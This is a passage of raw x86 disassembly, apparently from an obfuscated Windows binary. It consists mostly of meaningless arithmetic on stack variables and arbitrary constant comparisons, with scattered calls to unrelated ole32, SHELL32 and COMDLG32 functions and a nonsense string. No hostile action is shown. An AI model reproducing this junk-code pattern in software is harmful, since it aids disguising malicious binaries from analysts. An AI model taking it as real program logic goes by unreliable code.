mov eax, dword [ebp - 0xf08]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x13b4], dx
movzx edx, byte [ebp - 0x1b49]
mov eax, dword [ebp - 0x11a8]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0xe29], dl
movsx edx, byte [ebp - 0x85d]
mov eax, dword [ebp - 0x10ac]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x1c01], dl
movsx edx, word [ebp - 0x8d4]
mov eax, dword [ebp - 0x1edc]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x1c20], dx
mov edx, dword [ebp - 0xe4c]
mov ecx, dword [ebp - 0x18]
shr edx, cl
mov dword [ebp - 0x1274], edx
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x944]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x1108], edx
movzx eax, byte [ebp - 0x1b15]
movzx ecx, byte [ebp - 0x6ad]
or eax, ecx
mov byte [ebp - 0x4a9], al
mov edx, dword [ebp - 0x1104]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x13b4]
shl eax, cl
mov word [ebp - 0x10d8], ax
mov ecx, dword [ebp - 0xcb0]
mov edx, dword [ebp - 0x1d08]
sub edx, dword [ecx]
mov dword [ebp - 0x214], edx
mov eax, dword [ebp - 0x434]
and eax, dword [ebp - 0x7a4]
mov ecx, dword [ebp - 0xc08]
mov dword [ecx], eax
mov edx, dword [ebp - 0x48]
add edx, dword [ebp - 0x7a4]
mov eax, dword [ebp - 0x1268]
mov dword [eax], edx
mov ecx, dword [ebp - 0xe24]
mov edx, dword [ebp - 0x1d08]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
movzx ecx, word [ebp - 0x7c4]
movzx edx, word [ebp - 0x13b4]
add ecx, edx
mov word [ebp - 0xa88], cx
movzx eax, byte [ebp - 0x12e]
mov ecx, dword [ebp - 0x7d8]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x1b15], al
mov eax, dword [ebp - 0x1400]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x434]
mov dword [ebp - 0x7a4], ecx
mov edx, dword [ebp - 0x13b0]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x610]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x9b8]
add ecx, dword [edx]
mov dword [ebp - 0xce0], ecx
mov eax, dword [ebp - 0x4cc]
add eax, 0xc7
mov dword [ebp - 0x4cc], eax
mov ecx, dword [ebp - 0x1268]
mov edx, dword [ecx]
and edx, dword [ebp - 0x1f4c]
mov dword [ebp - 0x4c4], edx
mov eax, dword [ebp - 0x1400]
mov edx, dword [ebp - 0x1108]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x2c8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x8d4]
xor edx, eax
mov ecx, dword [ebp - 0x1edc]
mov word [ecx], dx
mov edx, dword [ebp - 0x10ac]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1c01]
or eax, ecx
mov edx, dword [ebp - 0x10ac]
mov byte [edx], al
movzx eax, byte [ebp - 0x1b49]
movzx ecx, byte [ebp - 0x6ad]
sar eax, cl
mov ecx, dword [ebp - 0x7d8]
mov byte [ecx], al
mov edx, dword [ebp - 0xc98]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xf08]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xc98]
mov word [ecx], ax
mov edx, dword [ebp - 0x870]
mov eax, dword [ebp - 0x9b8]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0xce0], ecx
mov edx, dword [ebp - 0x1f4c]
and edx, dword [ebp - 0x4c4]
mov dword [ebp - 0x7a4], edx
movzx eax, word [ebp - 0x10d8]
mov ecx, dword [ebp - 0x1cb8]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0xbe8], ax
movzx eax, byte [ebp - 0x12e]
movzx ecx, byte [ebp - 0x1b15]
sub eax, ecx
mov edx, dword [ebp - 0x1b0]
mov byte [edx], al
mov eax, dword [ebp - 0x1290]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0xe24]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1400]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x2c8]
add ecx, dword [edx]
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x1400]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x434], edx
mov eax, dword [ebp - 0x9b8]
mov ecx, dword [ebp - 0x1274]
add ecx, dword [eax]
mov dword [ebp - 0xce0], ecx
movzx edx, byte [ebp - 0x6ad]
movzx eax, byte [ebp - 0x12e]
add edx, eax
mov byte [ebp - 0x1b49], dl
mov ecx, dword [ebp - 0xf08]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x1e70]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0xa88], dx
mov edx, dword [ebp - 0x1268]
mov eax, dword [ebp - 0x12c]
xor eax, dword [edx]
mov dword [ebp - 0x1f4c], eax
mov ecx, dword [ebp - 0x134c]
mov edx, dword [ebp - 0x1400]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x610]
mov dword [ecx], eax
cmp dword [ebp - 0x4cc], 0xec44
jbe 0x4dd521
lea edx, [ebp - 0x85d]
mov dword [ebp - 0x1408], edx
mov eax, dword [ebp - 0x558]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x1c20]
or ecx, edx
mov word [ebp - 0x8d4], cx
movzx eax, word [ebp - 0x13b4]
movzx ecx, word [ebp - 0x7c4]
shl eax, cl
mov ecx, dword [ebp - 0x1cb8]
mov word [ecx], ax
mov edx, dword [ebp - 0x7d8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x11a8]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x7d8]
mov byte [ecx], al
mov edx, dword [ebp - 0xe4c]
add edx, dword [ebp - 0x214]
mov eax, dword [ebp - 0xa7c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x9b8]
mov edx, dword [ebp - 0x870]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0xce0], eax
mov ecx, dword [ebp - 0x13b0]
mov edx, dword [ebp - 0x1f4c]
and edx, dword [ecx]
mov eax, dword [ebp - 0x944]
mov dword [eax], edx
mov ecx, dword [ebp - 0xc08]
mov edx, dword [ebp - 0x1400]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x134c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x610]
mov eax, dword [edx]
sub eax, dword [ebp - 0x7a4]
mov dword [ebp - 0x434], eax
mov ecx, dword [ebp - 0x1cb8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x1104]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x7c4], dx
mov edx, dword [ebp - 0x11a8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1b49]
add eax, ecx
mov byte [ebp - 0x12e], al
mov edx, dword [ebp - 0xe24]
mov eax, dword [ebp - 0xce0]
add eax, dword [edx]
mov dword [ebp - 0xe4c], eax
mov ecx, dword [ebp - 0x944]
mov edx, dword [ebp - 0x48]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x1268]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2c8]
mov edx, dword [ecx]
or edx, dword [ebp - 0x7a4]
mov dword [ebp - 0x434], edx
mov eax, dword [ebp - 0xe24]
mov edx, dword [ebp - 0x214]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x1290]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1e70]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x10d8]
xor edx, eax
mov ecx, dword [ebp - 0x1e70]
mov word [ecx], dx
movzx edx, byte [ebp - 0x1b15]
movzx eax, byte [ebp - 0xe29]
and edx, eax
mov byte [ebp - 0x4a9], dl
mov ecx, dword [ebp - 0x1408]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x1c01]
add edx, eax
mov byte [ebp - 0x85d], dl
movsx ecx, word [ebp - 0x1c20]
mov edx, dword [ebp - 0x1448]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0x8d4], cx
mov ecx, dword [ebp - 0x9b8]
mov edx, dword [ebp - 0x18]
add edx, dword [ecx]
mov dword [ebp - 0x1274], edx
mov eax, dword [ebp - 0xc08]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xc08]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x6ad]
mov edx, dword [ebp - 0x7d8]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x11a8]
mov byte [edx], cl
mov eax, dword [ebp - 0xf08]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1104]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0xc98]
mov word [edx], cx
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x4c4]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xc08]
mov dword [edx], ecx
mov eax, dword [ebp - 0xcb0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1274]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4c4]
add eax, dword [ebp - 0x434]
mov ecx, dword [ebp - 0x1400]
mov dword [ecx], eax
mov edx, dword [ebp - 0x724]
sub edx, 0x1a
mov dword [ebp - 0x724], edx
mov eax, dword [ebp - 0x4c0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x7a4]
sar edx, cl
mov eax, dword [ebp - 0xc08]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x6ad]
movzx edx, byte [ebp - 0x1b15]
or ecx, edx
mov byte [ebp - 0x4a9], cl
movzx eax, word [ebp - 0x7c4]
mov ecx, dword [ebp - 0xc98]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0xf08]
mov word [ecx], ax
mov edx, dword [ebp - 0x1720]
mov ecx, dword [ebp - 0x214]
shl edx, cl
mov eax, dword [ebp - 0xa7c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x13b0]
mov edx, dword [ecx]
and edx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0xc08]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1108]
sub ecx, dword [ebp - 0x4c4]
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x2c8]
mov eax, dword [edx]
sub eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x134c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xc08]
mov dword [edx], ecx
mov eax, dword [ebp - 0xaf0]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x1c20]
add ecx, edx
mov word [ebp - 0x8d4], cx
movsx eax, byte [ebp - 0x1c01]
mov ecx, dword [ebp - 0x10ac]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x1408]
mov byte [ecx], al
mov edx, dword [ebp - 0x1b0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x7d8]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x11a8]
mov byte [ecx], al
movzx edx, word [ebp - 0xbe8]
mov eax, dword [ebp - 0x133c]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x13b4], dx
mov edx, dword [ebp - 0x1290]
mov eax, dword [edx]
add eax, dword [ebp - 0xe4c]
mov dword [ebp - 0xce0], eax
mov ecx, dword [ebp - 0x214]
add ecx, dword [ebp - 0xce0]
mov edx, dword [ebp - 0x1290]
mov dword [edx], ecx
mov eax, dword [ebp - 0x11a8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x1b0]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x7d8]
mov byte [edx], cl
mov eax, dword [ebp - 0x133c]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xa88]
sar edx, cl
mov word [ebp - 0xbe8], dx
mov eax, dword [ebp - 0x1f4c]
or eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x13b0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x214]
shl eax, cl
mov ecx, dword [ebp - 0xcb0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x13b0]
mov eax, dword [edx]
and eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x1268]
mov dword [ecx], eax
cmp dword [ebp - 0x724], 0x9dc7
ja 0x4dd8ec
mov edx, dword [ebp - 0x714]
sub edx, 0xa1
mov dword [ebp - 0x714], edx
mov eax, dword [ebp - 0xc08]
mov ecx, dword [ebp - 0x2c8]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x12c], edx
movzx eax, byte [ebp - 0x1b49]
movzx ecx, byte [ebp - 0x6ad]
sub eax, ecx
mov edx, dword [ebp - 0x1b0]
mov byte [edx], al
movzx eax, word [ebp - 0x7c4]
movzx ecx, word [ebp - 0x10d8]
add eax, ecx
mov edx, dword [ebp - 0xf08]
mov word [edx], ax
mov eax, dword [ebp - 0x1720]
add eax, dword [ebp - 0x1d08]
mov ecx, dword [ebp - 0xe24]
mov dword [ecx], eax
mov edx, dword [ebp - 0x13b0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x434]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x1448]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x8d4]
add edx, eax
mov ecx, dword [ebp - 0xaf0]
mov word [ecx], dx
movsx edx, byte [ebp - 0x1c01]
movsx eax, byte [ebp - 0x85d]
and edx, eax
mov ecx, dword [ebp - 0x10ac]
mov byte [ecx], dl
movzx edx, word [ebp - 0xbe8]
mov eax, dword [ebp - 0x1e70]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0xc98]
mov word [eax], dx
movzx ecx, byte [ebp - 0x1b15]
movzx edx, byte [ebp - 0x4a9]
or ecx, edx
mov byte [ebp - 0xe29], cl
mov eax, dword [ebp - 0xe4c]
mov ecx, dword [ebp - 0x18]
shl eax, cl
mov ecx, dword [ebp - 0x1290]
mov dword [ecx], eax
mov edx, dword [ebp - 0x610]
mov eax, dword [ebp - 0x944]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x4c4], edx
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x434]
mov edx, dword [ebp - 0x6c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xa7c]
mov ecx, dword [ebp - 0x1720]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xe24]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1268]
mov ecx, dword [ebp - 0x12c]
and ecx, dword [eax]
mov edx, dword [ebp - 0x13b0]
mov dword [edx], ecx
movzx eax, word [ebp - 0x7c4]
movzx ecx, word [ebp - 0xa88]
add eax, ecx
mov edx, dword [ebp - 0xf08]
mov word [edx], ax
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xe29]
add ecx, edx
mov eax, dword [ebp - 0x11a8]
mov byte [eax], cl
mov ecx, dword [ebp - 0x4c4]
sub ecx, dword [ebp - 0x1108]
mov dword [ebp - 0x7a4], ecx
mov edx, dword [ebp - 0xe24]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xa7c]
add eax, dword [ecx]
mov edx, dword [ebp - 0xe24]
mov dword [edx], eax
mov eax, dword [ebp - 0x13b0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x434]
mov dword [ebp - 0x7a4], ecx
mov edx, dword [ebp - 0x4c4]
add edx, dword [ebp - 0x7a4]
mov eax, dword [ebp - 0x2c8]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x4a9]
mov edx, dword [ebp - 0x1b0]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x7d8]
mov byte [edx], cl
movzx eax, word [ebp - 0x13b4]
movzx ecx, word [ebp - 0xa88]
and eax, ecx
mov edx, dword [ebp - 0xc98]
mov word [edx], ax
mov eax, dword [ebp - 0x10ac]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x1408]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x85d], dl
mov ecx, dword [ebp - 0x1edc]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x8d4]
xor edx, eax
mov word [ebp - 0x1c20], dx
mov ecx, dword [ebp - 0xa7c]
mov edx, dword [ecx]
or edx, dword [ebp - 0x1274]
mov eax, dword [ebp - 0xe24]
mov dword [eax], edx
mov ecx, dword [ebp - 0x610]
mov edx, dword [ebp - 0x6c]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x12c], eax
movzx ecx, word [ebp - 0xa88]
mov edx, dword [ebp - 0x133c]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x1cb8]
mov word [edx], cx
mov eax, dword [ebp - 0x11a8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x1b0]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x7d8]
mov byte [edx], cl
mov eax, dword [ebp - 0x214]
and eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1290]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4c4]
add edx, dword [ebp - 0x7a4]
mov eax, dword [ebp - 0x944]
mov dword [eax], edx
mov ecx, dword [ebp - 0x7a4]
sub ecx, dword [ebp - 0x1f4c]
mov dword [ebp - 0x1108], ecx
mov edx, dword [ebp - 0xcb0]
mov eax, dword [edx]
sub eax, dword [ebp - 0xce0]
mov ecx, dword [ebp - 0xe24]
mov dword [ecx], eax
movzx edx, byte [ebp - 0xe29]
movzx eax, byte [ebp - 0x1b15]
add edx, eax
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x133c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x1cb8]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0xa88], ax
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [ebp - 0x434]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x1268]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x7a4]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x13b0]
mov dword [edx], ecx
cmp dword [ebp - 0x714], 0x4e8b
ja 0x4ddcfc
mov eax, dword [ebp - 0xa7c]
mov ecx, dword [ebp - 0x1274]
add ecx, dword [eax]
mov edx, dword [ebp - 0x1290]
mov dword [edx], ecx
lea eax, [ebp - 0x4c4]
mov dword [ebp - 0x2f8], eax
mov edx, dword [ebp - 0x214]
mov ecx, dword [ebp - 0xce0]
shr edx, cl
mov eax, dword [ebp - 0x18]
xor eax, dword [ebp - 0x1274]
cmp edx, eax
je 0x4de146
mov ecx, dword [ebp - 0x944]
mov edx, dword [ebp - 0x1108]
and edx, dword [ecx]
mov eax, dword [ebp - 0x2c8]
mov dword [eax], edx
mov ecx, dword [ebp - 0xaf0]
movsx edx, word [ecx]
mov dword [ebp - 0x208c], edx
cmp dword [ebp - 0x208c], 0x12cb
je 0x4de0d1
cmp dword [ebp - 0x208c], 0x68de
je 0x4de129
jmp 0x4de141
lea eax, [ebp - 0x1f4c]
push eax
lea ecx, [ebp - 0xec]
push ecx
lea edx, [ebp - 0x1cd8]
push edx
call dword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x1edc]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x1448]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0xaf0]
mov word [edx], cx
lea eax, [ebp - 0x1154]
push eax
push str.Nougats_detaining_Infuriatingly_Wineskin
call dword [sym.imp.ole32.dll_IIDFromString]
mov dword [ebp - 0x7cc], eax
jmp 0x4de141
movsx ecx, byte [ebp - 0x1c01]
mov edx, dword [ebp - 0x10ac]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x85d], cl
jmp 0x4de223
movzx ecx, byte [ebp - 0x6ad]
movzx edx, byte [ebp - 0x4a9]
and ecx, edx
mov eax, dword [ebp - 0x11a8]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x7d8]
movzx eax, byte [eax]
add edx, eax
cmp ecx, edx
jne 0x4de223
movzx ecx, word [ebp - 0xa88]
mov edx, dword [ebp - 0x1e70]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x10d8], cx
mov ecx, dword [ebp - 0x1104]
movzx edx, word [ecx]
mov dword [ebp - 0x2090], edx
cmp dword [ebp - 0x2090], 0
je 0x4de1a5
jmp 0x4de1da
lea eax, [ebp - 0x6ad]
mov dword [ebp - 0x1ec8], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0xe24]
mov dword [edx], ecx
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x1268]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x1f4c], edx
jmp 0x4de223
call fcn.004d7e60
movzx eax, byte [ebp - 0x1b49]
movzx ecx, byte [ebp - 0xe29]
add eax, ecx
mov edx, dword [ebp - 0x11a8]
mov byte [edx], al
mov eax, dword [ebp - 0x1e70]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x7c4]
xor ecx, edx
mov word [ebp - 0xa88], cx
lea eax, [ebp - 0x498]
push eax
call dword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [ebp - 0x504], eax
lea ecx, [ebp - 0x1720]
mov dword [ebp - 0xeb8], ecx
mov edx, dword [ebp - 0x10ac]
mov al, byte [edx]
mov byte [ebp - 0x2094], al
cmp byte [ebp - 0x2094], 0x63
je 0x4de24b
jmp 0x4de31a
mov ecx, dword [ebp - 0xc98]
movzx edx, word [ecx]
mov dword [ebp - 0x2098], edx
cmp dword [ebp - 0x2098], 0x4a9
je 0x4de268
jmp 0x4de2e2
lea eax, [ebp - 0xdc0]
push eax
lea ecx, [ebp - 0x1e14]
push ecx
call dword [sym.imp.ole32.dll_OleSetAutoConvert]
mov dword [ebp - 0xe90], eax
mov edx, dword [ebp - 0x610]
mov eax, dword [ebp - 0x944]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x1f4c], ecx
mov edx, dword [ebp - 0x48]
sub edx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x944]
mov dword [eax], edx
call fcn.004d7e60
lea ecx, [ebp - 0x18]
push ecx
push 0xfe
call dword [sym.imp.ole32.dll_CoGetMalloc]
mov dword [ebp - 0x13cc], eax
mov edx, dword [ebp - 0x1edc]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x1448]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0xaf0]
mov word [ecx], ax
jmp 0x4de315
mov edx, dword [ebp - 0x1408]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1c01]
and eax, ecx
mov byte [ebp - 0x85d], al
mov edx, dword [ebp - 0x1cb8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x7c4]
add eax, ecx
mov edx, dword [ebp - 0xc98]
mov word [edx], ax
jmp 0x4eed1d
movzx eax, byte [ebp - 0x6ad]
movzx ecx, byte [ebp - 0x1b15]
sub eax, ecx
mov edx, dword [ebp - 0x11a8]
mov byte [edx], al
mov eax, dword [ebp - 0xe24]
mov ecx, dword [eax]
mov dword [ebp - 0xc28], ecx
mov edx, dword [ebp - 0xeb8]
mov eax, dword [ebp - 0x214]
add eax, dword [edx]
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x13b0]
add edx, dword [eax]
mov dword [ebp - 0x48], edx
mov ecx, dword [ebp - 0x1ec8]
mov dl, byte [ecx]
mov byte [ebp - 0x209c], dl
cmp byte [ebp - 0x209c], 0
je 0x4de383
jmp 0x4de441
movzx eax, word [ebp - 0x7c4]
movzx ecx, word [ebp - 0xa88]
or eax, ecx
movzx edx, word [ebp - 0x13b4]
movzx ecx, word [ebp - 0xbe8]
shl edx, cl
cmp eax, edx
jg 0x4de43c
mov al, byte [ebp - 0x85d]
mov byte [ebp - 0x20a0], al
cmp byte [ebp - 0x20a0], 0x28
je 0x4de3cb
cmp byte [ebp - 0x20a0], 0x4c
je 0x4de3e0
jmp 0x4de40d
lea ecx, [ebp - 0xbe8]
push ecx
call dword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [ebp - 0x1720], eax
jmp 0x4de40d
movzx edx, word [ebp - 0xbe8]
push edx
mov eax, dword [ebp - 0x10ac]
movzx ecx, byte [eax]
push ecx
movzx edx, word [ebp - 0x8d4]
push edx
mov dl, byte [ebp - 0x1b15]
mov eax, dword [ebp - 0x1b0]
mov cl, byte [eax]
call fcn.00478870
lea ecx, [ebp - 0x1f4c]
mov dword [ebp - 0x4f4], ecx
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x13b0]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x1268]
mov dword [eax], edx
lea ecx, [ebp - 0xa88]
mov dword [ebp - 0x560], ecx
jmp 0x4de4e0
movzx edx, byte [ebp - 0x1b49]
mov eax, dword [ebp - 0x1ec8]
movzx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x7d8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x20a4], ecx
cmp dword [ebp - 0x20a4], 0x19de9e3b
je 0x4de4c8
cmp dword [ebp - 0x20a4], 0x6928b6ff
je 0x4de47e
jmp 0x4de4e0
lea edx, [ebp - 0xee4]
push edx
push 0x83
lea eax, [ebp - 0x1b49]
push eax
lea ecx, [ebp - 0x4f0]
push ecx
lea edx, [ebp - 0x1d80]
push edx
call dword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [ebp - 0x1038], eax
mov eax, dword [ebp - 0x9b8]
mov ecx, dword [ebp - 0x870]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0xce0], edx
call fcn.0046d040
jmp 0x4de4e0
mov eax, dword [ebp - 0x13b0]
mov ecx, dword [ebp - 0x1400]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x134c]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x1c01]
movsx edx, byte [ebp - 0x85d]
add ecx, edx
mov eax, dword [ebp - 0x1408]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x10ac]
movsx eax, byte [eax]
add edx, eax
cmp ecx, edx
jge 0x4de617
mov ecx, dword [ebp - 0x1408]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x85d]
add edx, eax
mov ecx, dword [ebp - 0x10ac]
movsx eax, byte [ecx]
movsx ecx, byte [ebp - 0x1c01]
sub eax, ecx
cmp edx, eax
jl 0x4de54b
mov edx, dword [ebp - 0x1f4c]
sub edx, dword [ebp - 0x434]
mov dword [ebp - 0x12c], edx
jmp 0x4de617
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x434]
and ecx, dword [eax]
mov edx, dword [ebp - 0x134c]
mov eax, dword [ebp - 0x12c]
sub eax, dword [edx]
cmp ecx, eax
jne 0x4de617
lea ecx, [ebp - 0x1430]
push ecx
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov dword [ebp - 0x1c4], eax
mov edx, dword [ebp - 0xa7c]
mov eax, dword [edx]
mov dword [ebp - 0x20a8], eax
cmp dword [ebp - 0x20a8], 0xb9c4ac5a
je 0x4de59e
jmp 0x4de5fe
mov ecx, dword [ebp - 0x1290]
mov edx, dword [ebp - 0x1720]
add edx, dword [ecx]
mov eax, dword [ebp - 0xcb0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1e70]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xc98]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x7c4], dx
movzx ecx, byte [ebp - 0x12e]
mov edx, dword [ebp - 0x1ec8]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x11a8]
mov byte [edx], cl
lea eax, [ebp - 0x320]
push eax
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0x23c], eax
jmp 0x4de617
mov ecx, dword [ebp - 0x1edc]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x8d4]
xor edx, eax
mov word [ebp - 0x1c20], dx
mov edx, dword [ebp - 0x1720]
mov ecx, dword [ebp - 0x18]
shr edx, cl
mov eax, dword [ebp - 0xa7c]
mov ecx, dword [ebp - 0x870]
mov eax, dword [eax]
and eax, dword [ecx]
cmp edx, eax
jbe 0x4de6d3
mov ecx, dword [ebp - 0xc08]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x6c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x944]
mov dword [ecx], edx
mov edx, dword [ebp - 0x4c4]
mov dword [ebp - 0x20ac], edx
cmp dword [ebp - 0x20ac], 0x191d1e18
je 0x4de669
